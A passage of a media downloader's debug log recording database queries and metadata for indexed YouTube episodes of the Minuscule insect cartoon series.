🕷️ Minuscule 🚗 30' Compilation [Q5_qB6zaOk4].mp4", false, false, false, [], 1, ~U[2025-01-22 11:30:29Z], ~U[2025-12-12 05:12:19Z], ~U[2025-12-12 05:12:19Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Spider Driver | S02E36\n00:04:12 | The Stubborn Spider | S02E04\n00:07:57 | A Pathetic She'Nut'Igan | S02E12\n00:11:43 | Spider from the Depths | S02E31\n00:15:18 | High voltage | S02E30\n00:18:52 | Microzilla | S02E07\n00:22:38 | Refrigerated | S02E65\n00:26:04 | Labyrinth | S02E69\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#spider #flies #ladybug #car #stubborn #determination #house #Minuscule #nature #insects #ladybugs #animatedseries", "Spider Driver 🕷️ Minuscule 🚗 30' Compilation", "Q5_qB6zaOk4", 1802, false, 5, "https://www.youtube.com/watch?v=Q5_qB6zaOk4", "/downloads/Miniscule Season 2/2025-01-22 Spider Driver 🕷️ Minuscule 🚗 30' Compilation/Spider Driver 🕷️ Minuscule 🚗 30' Compilation [Q5_qB6zaOk4].mp4", false, ~U[2025-01-22 11:30:29Z]] 22:12:20.644 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1379.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:20.645 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=1379.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:12:20.646 [debug] QUERY OK source="media_items" db=0.6ms idle=1378.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89062] 22:12:20.646 [debug] Current batch of media processed. Will check again in 1000ms 22:12:21.647 [debug] Current batch of media processed. Will check again in 1000ms 22:12:22.648 [debug] Current batch of media processed. Will check again in 1000ms 22:12:23.649 [debug] Current batch of media processed. Will check again in 1000ms 22:12:24.650 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 181, "filename" => "/downloads/Miniscule Season 2/2020-08-13 Minuscule - Le Beignet⧸The Doughnut (Season 2)/Minuscule - Le Beignet⧸The Doughnut (Season 2) [6-qwLEqPqwQ].mp4", "id" => "6-qwLEqPqwQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=6-qwLEqPqwQ", "playlist_index" => 82, "timestamp" => 1597329000, "title" => "Minuscule - Le Beignet/The Doughnut (Season 2)", "upload_date" => "20200813"} 22:12:24.651 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=479.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:12:24.652 [debug] QUERY OK source="sources" db=0.4ms idle=480.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:24.653 [debug] QUERY OK source="media_items" db=1.0ms idle=481.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-08-13 14:30:00Z], 5] 22:12:24.739 [debug] QUERY OK source="media_items" db=84.4ms idle=483.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Le Beignet/The Doughnut (Season 2)", "af87fc2e-33e6-4b8d-9f69-3272d0877a0b", "6-qwLEqPqwQ", 181, false, 5, "https://www.youtube.com/watch?v=6-qwLEqPqwQ", 82, "/downloads/Miniscule Season 2/2020-08-13 Minuscule - Le Beignet⧸The Doughnut (Season 2)/Minuscule - Le Beignet⧸The Doughnut (Season 2) [6-qwLEqPqwQ].mp4", false, false, false, [], 1, ~U[2020-08-13 14:30:00Z], ~U[2025-12-12 05:12:24Z], ~U[2025-12-12 05:12:24Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Le Beignet/The Doughnut (Season 2)", "6-qwLEqPqwQ", 181, false, 5, "https://www.youtube.com/watch?v=6-qwLEqPqwQ", "/downloads/Miniscule Season 2/2020-08-13 Minuscule - Le Beignet⧸The Doughnut (Season 2)/Minuscule - Le Beignet⧸The Doughnut (Season 2) [6-qwLEqPqwQ].mp4", false, ~U[2020-08-13 14:30:00Z]] 22:12:24.740 [debug] QUERY OK source="sources" db=0.5ms idle=537.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:24.741 [debug] QUERY OK source="media_profiles" db=0.5ms idle=88.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:12:24.741 [debug] QUERY OK source="media_items" db=0.5ms idle=88.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89064] 22:12:24.742 [debug] Current batch of media processed. Will check again in 1000ms 22:12:25.743 [debug] Current batch of media processed. Will check again in 1000ms 22:12:26.744 [debug] Current batch of media processed. Will check again in 1000ms 22:12:27.745 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nTwo spiders are craving the same prey: a fat fly, lying unconscious on the surface of a pool. The booty will go to the spider that can reach the fly before it wakes up, and without getting wet of course.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 263, "filename" => "/downloads/Miniscule Season 2/2020-08-06 Minuscule - Spider from the dephts ⧸ Araignée des abysses (Season 2)/Minuscule - Spider from the dephts ⧸ Araignée des abysses (Season 2) [1804_xlIy08].mp4", "id" => "1804_xlIy08", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1804_xlIy08", "playlist_index" => 83, "timestamp" => 1596724200, "title" => "Minuscule - Spider from the dephts / Araignée des abysses (Season 2)", "upload_date" => "20200806"} 22:12:27.746 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1574.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:12:27.747 [debug] QUERY OK source="sources" db=0.4ms idle=1575.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:27.749 [debug] QUERY OK source="media_items" db=0.9ms idle=1576.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-08-06 14:30:00Z], 5] 22:12:27.765 [debug] QUERY OK source="media_items" db=15.3ms idle=1543.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nTwo spiders are craving the same prey: a fat fly, lying unconscious on the surface of a pool. The booty will go to the spider that can reach the fly before it wakes up, and without getting wet of course.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Spider from the dephts / Araignée des abysses (Season 2)", "255fa02b-1568-4866-ad35-e03be05a07b9", "1804_xlIy08", 263, false, 5, "https://www.youtube.com/watch?v=1804_xlIy08", 83, "/downloads/Miniscule Season 2/2020-08-06 Minuscule - Spider from the dephts ⧸ Araignée des abysses (Season 2)/Minuscule - Spider from the dephts ⧸ Araignée des abysses (Season 2) [1804_xlIy08].mp4", false, false, false, [], 1, ~U[2020-08-06 14:30:00Z], ~U[2025-12-12 05:12:27Z], ~U[2025-12-12 05:12:27Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nTwo spiders are craving the same prey: a fat fly, lying unconscious on the surface of a pool. The booty will go to the spider that can reach the fly before it wakes up, and without getting wet of course.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Spider from the dephts / Araignée des abysses (Season 2)", "1804_xlIy08", 263, false, 5, "https://www.youtube.com/watch?v=1804_xlIy08", "/downloads/Miniscule Season 2/2020-08-06 Minuscule - Spider from the dephts ⧸ Araignée des abysses (Season 2)/Minuscule - Spider from the dephts ⧸ Araignée des abysses (Season 2) [1804_xlIy08].mp4", false, ~U[2020-08-06 14:30:00Z]] 22:12:27.766 [debug] QUERY OK source="sources" db=0.5ms idle=557.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:27.766 [debug] QUERY OK source="media_profiles" db=0.3ms idle=19.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:12:27.767 [debug] QUERY OK source="media_items" db=0.5ms idle=19.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89066] 22:12:27.768 [debug] Current batch of media processed. Will check again in 1000ms 22:12:28.769 [debug] Current batch of media processed. Will check again in 1000ms 22:12:29.770 [debug] Current batch of media processed. Will check again in 1000ms 22:12:30.771 [debug] Current batch of media processed. Will check again in 1000ms 22:12:31.772 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nSaved by the providential fall of a tiny egg, a mother ladybug adopts it. When it hatches, she realises it contains a little caterpillar.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 294, "filename" => "/downloads/Miniscule Season 2/2020-07-30 Minuscule - The wing case ⧸ Sans élytres (Season 2)/Minuscule - The wing case ⧸ Sans élytres (Season 2) [bO_HhX6Sp08].mkv", "id" => "bO_HhX6Sp08", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=bO_HhX6Sp08", "playlist_index" => 84, "timestamp" => 1596119408, "title" => "Minuscule - The wing case / Sans élytres (Season 2)", "upload_date" => "20200730"} 22:12:31.773 [debug] QUERY OK source="sources" db=0.4ms idle=601.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:12:31.773 [debug] QUERY OK source="sources" db=0.2ms idle=602.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:31.774 [debug] QUERY OK source="media_items" db=0.7ms idle=602.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-07-30 14:30:08Z], 5] 22:12:31.792 [debug] QUERY OK source="media_items" db=16.4ms idle=604.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nSaved by the providential fall of a tiny egg, a mother ladybug adopts it. When it hatches, she realises it contains a little caterpillar.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The wing case / Sans élytres (Season 2)", "e70f5c5b-eed0-44dd-9df5-6127db226843", "bO_HhX6Sp08", 294, false, 5, "https://www.youtube.com/watch?v=bO_HhX6Sp08", 84, "/downloads/Miniscule Season 2/2020-07-30 Minuscule - The wing case ⧸ Sans élytres (Season 2)/Minuscule - The wing case ⧸ Sans élytres (Season 2) [bO_HhX6Sp08].mkv", false, false, false, [], 1, ~U[2020-07-30 14:30:08Z], ~U[2025-12-12 05:12:31Z], ~U[2025-12-12 05:12:31Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nSaved by the providential fall of a tiny egg, a mother ladybug adopts it. When it hatches, she realises it contains a little caterpillar.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The wing case / Sans élytres (Season 2)", "bO_HhX6Sp08", 294, false, 5, "https://www.youtube.com/watch?v=bO_HhX6Sp08", "/downloads/Miniscule Season 2/2020-07-30 Minuscule - The wing case ⧸ Sans élytres (Season 2)/Minuscule - The wing case ⧸ Sans élytres (Season 2) [bO_HhX6Sp08].mkv", false, ~U[2020-07-30 14:30:08Z]] 22:12:31.792 [debug] QUERY OK source="sources" db=0.3ms idle=575.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:31.793 [debug] QUERY OK source="media_profiles" db=0.3ms idle=19.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", 